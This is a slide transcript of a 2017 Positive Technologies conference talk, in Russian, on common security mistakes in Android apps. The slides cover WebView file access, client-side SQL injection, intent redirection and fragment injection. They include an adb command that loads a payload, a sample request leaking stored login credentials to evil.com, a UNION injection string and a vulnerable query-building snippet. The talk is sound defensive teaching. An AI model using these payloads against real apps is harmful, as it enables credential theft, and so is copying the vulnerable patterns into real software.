Upgrade to Pro — share decks privately, control downloads, hide ads and more …

Уязвимое Android-приложение: N проверенных способов наступить на грабли

Уязвимое Android-приложение: N проверенных способов наступить на грабли

Доклад Николая Анисени и Сергея Тошина (Positive Technologies) о наиболее опасных ошибках, которые допускают Android-разработчики при создании приложений, на PHDays VII.

Positive Development User Group

September 25, 2017
Tweet

More Decks by Positive Development User Group

Other Decks in Programming

Transcript

  1. Заголовок ptsecurity.com Уязвимое Android- приложение: N проверенных способов наступить на

    грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
  2. Заголовок ptsecurity.com Уязвимое Android- приложение: 17 проверенных способов наступить на

    грабли Специалисты отдела исследований безопасности мобильных приложений Positive Technologies Анисеня Николай, Тошин Сергей
  3. Заголовок АНИСЕНЯ НИКОЛАЙ • специалист отдела исследований безопасности мобильных приложений

    Positive Technologies; • аспирант Томского Государственного Университета; • участник CTF-комады SiBears. whoami ТОШИН СЕРГЕЙ • специалист отдела исследований безопасности мобильных приложений Positive Technologies; • разработчик анализатора исходных кодов Android-приложений; • участник программ bugbounty.
  4. Заголовок Модели нарушителя Удаленный нарушитель • На сервере • На

    другом клиенте • В канале связи Локальный нарушитель • Трояны • Приложения с закладками Нарушитель с физическим доступом к устройству • Кража или утеря • Кратковременный доступ
  5. Заголовок Версии Android на устройствах пользователей Ice Cream Sandwich 15

    2% Jelly Bean 16 8% Jelly Bean 17 11% Jelly Bean 18 3% KitKat 19 34% Lollipop 21 17% Lollipop 22 20% Marshmallow 23 5% % от общего числа устройств на Android
  6. Заголовок Способ 8: доступ к файловой системе через WebView $

    adb shell am start -d "file:///sdcard/payload.html" nanisenya. app_android/.MainActivity
  7. Заголовок Способ 8: доступ к файловой системе через WebView GET

    /%3C?xml%20version='1.0'%20encoding='utf- 8'%20standalone='yes'%20?%3E%0A%3Cmap%3E%0A%3C string%20name=%22LOGIN%22%3Ealice%3C/string%3E %0A%3Cstring%20name=%22PASSWORD%22%3Eqwerty123 %3C/string%3E%0A%3C/map%3E%0A HTTP/1.1 Host: evil.com Origin: file:// X-Requested-With: nanisenya.app_android ... Connection: close
  8. Заголовок Способ 9: Client-side SQL-injection String query = "SELECT *

    FROM messages WHERE msg LIKE '%" + q + "%'"; Cursor c = MainActivity.this.db.rawQuery(query); sqlite> .tables android_metadata messages private_messages
  9. Заголовок Способ 9: Client-side SQL-injection SELECT * FROM messages WHERE

    msg LIKE ' UNION SELECT * from private_messages -- %'"; q = "' UNION SELECT * from private_messages -- "
  10. Заголовок Способ 15: вложенные intent Dispatcher Activity exported= “true” Settings

    Activity exported= “false” Payment Activity exported= “false” Internal Activity exported= “false” Входящий Intent Перенаправленный Intent
  11. Заголовок Способ 16: произвольные объекты в intent public void onCreate(Bundle

    arg3) { super.onCreate(arg3); this.setContentView(this.o_()); this.b(true); this.setTitle(null); this.o(); this.p(); this.b = this.getIntent() .getParcelableExtra("PAGE_INFO"); if(arg3 == null && this.b != null) { this.a(this.b); } }
  12. Заголовок Способ 16: произвольные объекты в intent public static final

    class PageInfo implements Parcelable { public String startPageUrl; public byte[] startPagePostData; public String cookies; public String successUri; public String failUri; … }
  13. Заголовок Способ 17: Fragment Injection Уязвимость сохраняется, если - Android

    < KitKat - TargetSDK < KitKat (import android.support.v4.app.Fragment;) - Используются сторонние библиотеки (например, для корректной работы интерфейса на разных версиях Android), переопределяющие поведение фрагментов Защита - TargetSDK >= KitKat - Использовать isValidFragment